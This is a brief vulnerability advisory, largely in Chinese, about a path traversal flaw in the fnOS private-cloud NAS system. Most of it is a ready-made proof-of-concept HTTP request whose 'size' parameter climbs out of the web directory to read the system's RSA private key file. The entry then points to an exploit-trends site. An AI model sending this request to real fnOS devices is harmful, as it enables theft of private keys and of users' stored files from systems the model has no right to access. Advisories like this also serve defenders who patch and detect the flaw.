飞牛-私有云fnOS 文件读取漏洞

2026-02-02 飞牛私有云fnOS PoC Public

Description

飞牛 fnOS 是一款基于 Debian Linux 内核深度开发的国产免费 NAS 操作系统，个人用户能将闲置的 NAS 或 PC 设备转化为私有云存储。飞牛 fnOS 出现重大安全漏洞，可通过路径穿越访问 NAS 上任意文件，包括系统配置和用户存储文件。

PoC

GET /app-center-static/serviceicon/myapp/{0}/?size=../../../../../../../../../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1
Host: 
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Flying Cow - Private Cloud fnOS File Read Vulnerability

References